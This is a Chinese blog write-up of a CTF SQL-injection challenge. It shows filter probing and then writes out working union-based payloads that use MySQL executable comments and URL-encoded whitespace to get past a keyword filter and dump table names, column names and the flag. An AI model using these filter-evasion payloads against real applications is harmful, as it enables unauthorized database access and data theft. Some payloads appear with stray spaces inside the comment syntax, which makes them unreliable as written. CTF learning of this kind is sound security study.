SQL注入

題目地址:http://ctf5.shiyanbar.com/web/index_2.php

1、空格檢測(cè)

輸入1',發(fā)現(xiàn)注入。


i單引號(hào)檢測(cè)

輸入1' ,注意,這里參數(shù)后面多加了一個(gè)空格。


空格檢測(cè)

2、關(guān)鍵字檢測(cè)

  • and


    and通過(guò)
  • select


    select不通過(guò)
  • from


    from通過(guò)
  • union


    union被過(guò)濾

這里只檢測(cè)這么些個(gè),因?yàn)閷?shí)際用到的也不多

3、如何繞過(guò)?畢竟離不開(kāi)關(guān)鍵詞

我看了網(wǎng)上其他人的答案:
借鑒了幾個(gè)思路:
1、大小寫繞過(guò)
2、url編碼進(jìn)行繞過(guò)
3、注釋進(jìn)行繞過(guò)
結(jié)果:
1、大小寫繞不過(guò)
2、url編碼,試了%0a,意思是換行,也沒(méi)過(guò)
3、/* * /和/* !select * /過(guò)了!就算屏蔽了*和/號(hào),感覺(jué)也可以通過(guò)url編碼重編,然后再次嘗試?!

注釋繞過(guò)

4、查找所有的表

'union/* !select* /table_name%0afrom%0ainformation_schema.tables%23網(wǎng)上給出的答案是這個(gè)。


爆表

其實(shí),在經(jīng)過(guò)轉(zhuǎn)化之后,它真正傳入到數(shù)據(jù)庫(kù)的語(yǔ)句是這樣的
'union/* !select * /table_name
from
information_schema.tables#

很明顯,我有很多地方有疑惑。

首先,第一點(diǎn)來(lái)說(shuō)。在《SQL注入與防御》中說(shuō)到,需要用正確的sql語(yǔ)句來(lái)確認(rèn)注入,使用錯(cuò)誤的sql語(yǔ)句來(lái)發(fā)現(xiàn)注入。在這里,操作數(shù)據(jù)庫(kù)的sql語(yǔ)句可能是這樣寫的:
select * from where id =
而這里,是直接將'union傳入,相當(dāng)于是
select * from where id = '' union select ***
傳入了非正確的sql語(yǔ)句
當(dāng)然了,聯(lián)合查詢這樣做也是可以的,只是疑惑了一小會(huì)。

接下來(lái),就是不懂的地方了。
使用/* !select* /確實(shí)是可以讓mysql執(zhí)行這個(gè)關(guān)鍵字,但是,為什么要在
information_shcema.tables后面加個(gè)#號(hào)呢?
明白了,這個(gè)#是代表,注釋直到#號(hào)這行結(jié)束。
但是問(wèn)題又來(lái)了,既然是注釋,為什么會(huì)被執(zhí)行?井號(hào)為什么不是在/* !select * /后面加,而是在#號(hào)后加呢?

解決第一個(gè)疑問(wèn):
在絕大多數(shù)編程語(yǔ)言中/** /都是代表注釋的意思。但是mysqldump在導(dǎo)出的時(shí)候,為了保持兼容也能在其他SQL數(shù)據(jù)庫(kù)運(yùn)行,唯獨(dú)能在mysql中被執(zhí)行的就是/ *! * /了。所以,這里的/ *!select * /也就是順從了這個(gè)規(guī)則,未被過(guò)濾且被執(zhí)行。

第二個(gè)疑問(wèn):#號(hào)代表這一行注釋的結(jié)束,很明顯,這是可執(zhí)行注釋的結(jié)束,以免影響到后面的語(yǔ)句。

這里的知識(shí)點(diǎn):
1、爆表sql語(yǔ)句:
union select table_name from information_schema.tables
2、使用換行url編碼,跳過(guò)waf對(duì)空格的封鎖

其實(shí)這里我換了一種方法,'union/ * !select* /table_name/** /from/**/information_schema.tables%23,也是可以得到目的,而且看起來(lái)更加工整?


自己的方法

5、爆列名和字段

所有的表均被爆了出來(lái),看這里,是不是覺(jué)得勝利有望?繼續(xù)干,拿列名!


所有表

從information_schema.columns中讀取列名
'union/ * !select * /column_name/ ** /from/ ** /information_schema.columns/ ** /where/ ** /table_name='flag'%23

爆列名

'union/ * !select * /flag/ ** /from/ ** /flag%23


flag到手

6、思路總結(jié)

一開(kāi)始拿到這個(gè)題目,我是完全沒(méi)有思路的,不知道該如何下手,但是滲透測(cè)試一定要形成自己的思路體系。xss、sql注入各個(gè)思路不盡相同。這里總結(jié)sql。

首先,看它過(guò)濾了哪些,從關(guān)鍵字下手測(cè)試,sql注入攻擊離不開(kāi)關(guān)鍵字的幫助。
還有常規(guī)的空格過(guò)濾測(cè)試,特殊符號(hào)過(guò)濾測(cè)試。
這里如果是空格過(guò)濾的話,可以使用/ ** /注釋進(jìn)行繞過(guò),當(dāng)然,繞過(guò)過(guò)濾空格的方法還有很多,以后遇到再做知識(shí)儲(chǔ)備。

然后,是爆數(shù)據(jù)庫(kù)、列名、字段,這里使用的是information_schema.tables配合/ *! * /結(jié)合select這個(gè)技術(shù)進(jìn)行爆破。值得我學(xué)習(xí)的是,這里的sql語(yǔ)句很簡(jiǎn)潔效果很好,union select table_name from informatin_schema.tables再次安利一下。
知道數(shù)據(jù)庫(kù),就該爆列名了。
union select column_name from information_schema.columns where table_name=flag

知道數(shù)據(jù)庫(kù)和列名,最后的答案就可以拿出來(lái)了。
union select flag where flag

檢測(cè)過(guò)濾 => 爆數(shù)據(jù)庫(kù) => 爆列名 => 爆字段
過(guò)濾分為:
特殊字符和關(guān)鍵字過(guò)濾
解決方法是利用url編碼或者注釋

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • Sql注入定義: 就是通過(guò)把sql命令插入到web表單提交或輸入域名或頁(yè)面請(qǐng)求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行...
    付出從未后悔閱讀 754評(píng)論 0 3
  • 一、分類 可以有以下幾種不同的維度:維度一:基于注入點(diǎn)值的屬性 數(shù)字型 字符型維度二:基于注入點(diǎn)的位置 GET/P...
    ffx_01閱讀 1,848評(píng)論 0 0
  • Sql 注入基礎(chǔ)原理介紹一、實(shí)驗(yàn)說(shuō)明1.1 實(shí)驗(yàn)內(nèi)容SQL注入攻擊通過(guò)構(gòu)建特殊的輸入作為參數(shù)傳入Web應(yīng)用程序,而...
    FreaxJJ閱讀 1,920評(píng)論 3 23
  • Web安全之SQL注入漏洞 本節(jié)知識(shí)點(diǎn) SQL注入原理 前言 結(jié)構(gòu)化查詢語(yǔ)句(Structured Query L...
    f354f7231c35閱讀 2,216評(píng)論 0 5
  • 雨悄悄的來(lái)了,從很遠(yuǎn)很遠(yuǎn)的地方傳來(lái)“嘩,嘩,嘩”。晶瑩的雨珠掉在地上,“啪啪”直響,像彈奏處一首又一首的歌...
    韻杺閱讀 179評(píng)論 0 0

友情鏈接更多精彩內(nèi)容